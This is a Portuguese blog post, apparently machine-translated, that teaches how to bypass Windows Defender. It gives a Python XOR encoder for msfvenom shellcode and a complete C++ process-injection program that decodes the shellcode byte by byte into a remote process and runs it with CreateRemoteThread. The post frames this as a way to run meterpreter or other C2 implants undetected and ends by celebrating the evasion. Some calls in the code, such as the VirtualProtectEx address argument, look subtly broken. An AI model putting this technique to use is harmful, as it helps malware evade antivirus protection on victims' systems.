Pular para o conteĂşdo principal

Como ignorar o Windows Defender

Como ignorar o Windows Defender

 Âˇ 6 minutos de leitura

Ei, eu estou de volta com um novo post no blog. Neste post vou falar sobre como contornar oWindows Defender para executar seu shell reverso meterpreter, Desculpe, eu estava errado neste ponto Depois de mais pesquisas, descobri que a maioria de todos os AV/EDRs estĂŁo pegando assinatura em cada linha do cĂłdigo-fonte do meterpreter, entĂŁo uma das coisas mais difĂ­ceis que vocĂŞ pode fazer ĂŠ injetar um shellcode do meterpreter, mas definitivamente se vocĂŞ estiver usando um Cobalt Strike, ou se vocĂŞ estiver usando qualquer outro C2, quando quero dizer outro C2 quero dizer um incomum para ser menos detectado por si sĂł.

RESUMO

Vou usar a tĂŠcnica de postagem anterior AQUI , mas adicionarei uma/duas coisas, que ĂŠ: xor meu cĂłdigo de shell e xor novamente enquanto escrevo o shellcode na memĂłria.

SHELLCODE

Estou criado um shellcode atravĂŠs do msfvenom que ĂŠ pop-up uma caixa de mensagem. Depois de criar o shellcode, eu o xor.
O script a seguir ĂŠ um python para codificar meu shellcode.

raw_shellcode = "!Replace me with your shellcode"
enc_shellcode = []
print ("[+] Shellcode is encoding")
for opcode in raw_shellcode:
        enc_opcode = (ord(opcode) ^ 0x41)
        enc_shellcode.append(enc_opcode)


print ("========================Shellcode========================\n\n")
print ("".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in enc_shellcode]))
print ("\n\n========================Shellcode========================")

captura de tela_1

EntĂŁo agora eu vou gerar meu shellcode codificado

captura de tela_2

WINAPIs

Nosso shellcode estå pronto agora, então vamos criar nosso binårio de injeção de processo.
Mas primeiro vou descrever alguns winapis que vamos usar.

AbrirProcesso

HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

Vou usar o OpenProcess para abrir um processo dando a ele o PID desse processo. porque a idĂŠia principal da injeção de processo ĂŠ criar um novo espaço de alocação para o shellcode em um processo local, em seguida, escrever o shellcode nessa alocação e executĂĄ-lo para que antes de criar uma nova alocação na memĂłria vocĂŞ precise abrir esse processo primeiro faça sentido ?

NOTA:
VocĂŞ precisa fechar a alça aberta atravĂŠs de CloseHandle()

VirtualAllocEx

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

Vou usar VirtualAllocEx para alocar um novo espaço de memĂłria para meu shellcode em outro processo.

Por que eu usei VirtualAllocEx nĂŁo VirtualAlloc ?
Porque eu preciso alocar espaço de memória em outro espaço de endereço de processo, pegue-o!

Basicamente, vocĂŞ pode usar VirtualAlloc para seu processo atual, mas VirtualAllocEx para outro processo local.

WriteProcessMemory

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

Vou usar WriteProcessMemory para escrever o shellcode na nova alocação que criei em outro processo atravĂŠs do VirtualAllocEx

VirtualProtectEx

BOOL VirtualProtectEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

Vou usar o VirtualProtectEx para alterar a permissĂŁo de proteção

CreateRemoteThread

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

Vou usar CreateRemoteThread para criar um thread que ĂŠ executado no espaço de endereço virtual de outro processo e, opcionalmente, especificar atributos estendidos.

Qual ĂŠ a diferença entre CreateThread e CreateRemoteThread ?

CreateThread sĂł permite que vocĂŞ crie um thread para o processo atual.

CreateRemoteThread permite que vocĂŞ crie um thread para outro processo local.

PWN

Depois de discutir alguns WINAPIs, vamos criar nosso binårio de injeção de processo que ignora o Windows Defender, vamos começar com a criação do nosso CPP.

HĂĄ apenas um passo que eu gostaria de discutir antes de escrever o cĂłdigo que ĂŠ eu vou decodificar o opcode shellcode por opcode.

#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] = "\x98\xaa\xda\x98\x35\x65\xb5\x70\x93\xf3\x36\x70\x88\x25\xca\x30\x71\xca\x37\x4d\xca\x37\x5d\xca\x7\x49\xca\x3f\x61\xca\x77\x79\xe\x59\x34\xb2\x18\x40\x90\xbe\xa0\x21\xca\x2d\x65\x65\xca\x4\x7d\xca\x15\x69\x39\x40\xab\xca\xb\x59\xca\x1b\x61\x40\xaa\xa2\x75\x8\xca\x75\xca\x40\xaf\x70\xbe\x70\x81\xbd\xed\xc5\x81\x35\x46\x80\x8e\x4c\x40\x86\xaa\xb5\x7a\x3d\x65\x69\x34\xa0\xca\x1b\x65\x40\xaa\x27\xca\x4d\xa\xca\x1b\x5d\x40\xaa\xca\x45\xca\x40\xa9\xc8\x5\x65\x5d\x20\x82\xf3\x49\x68\x95\xc8\xa4\xc8\x83\x29\xcf\xf\x4f\xad\x13\xa9\xde\xbe\xbe\xbe\xc8\x4\x45\xfa\x3f\x99\xa3\x32\xc6\x5d\x65\x13\xa9\xcf\xbe\xbe\xbe\xc8\x4\x49\x29\x2d\x2d\x61\x0\x29\x72\x73\x6f\x25\x29\x34\x32\x24\x33\x71\x9a\xc9\x1d\x65\x4b\xc8\xa7\x17\xbe\x14\x45\xc8\x83\x11\xfa\xe9\xe3\xc\xfd\xc6\x5d\x65\x13\xa9\x1e\xbe\xbe\xbe\x29\x2e\x39\x19\x61\x29\x20\x26\x24\x3\x29\xc\x24\x32\x32\x70\x9a\xc9\x1d\x65\x4b\xc8\xa2\x29\x31\x36\x2f\x19\x29\x13\x24\x35\x73\x70\x88\xc9\xd\x65\x46\xc8\xa0\x70\x93\x13\x12\x10\x13\xbe\x91\x70\x81\x11\xbe\x14\x49";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    DWORD oldPerms;
    DWORD PID = 16772;
    printf("Injecting to PID: %i", PID);
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READ);

    int i;
    int n = 0;
    for (i = 0; i <= sizeof(shellcode); i++) {
        char dec_opcode = shellcode[i] ^ 0x41;
        if (WriteProcessMemory(processHandle, (char*)remoteBuffer + n, &dec_opcode, 1, NULL)) {
            n++;

        }
    }
    VirtualProtectEx(processHandle, (LPVOID)sizeof(processHandle), sizeof(shellcode), PAGE_READONLY, &oldPerms);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

captura de tela_3

No loop for, decodifiquei o shellcode escrevendo o opcode na memĂłria imediatamente.
EntĂŁo vamos compilar e ver o que vai acontecer?

captura de tela_4

Sim, fomos ignorados pelo defensor do Windows.🔥🔥🔥

ComentĂĄrios

Ebook

Postagens mais visitadas

BotĂŁo Fechar
Verificado pela Leadster
BotĂŁo Fechar
Logo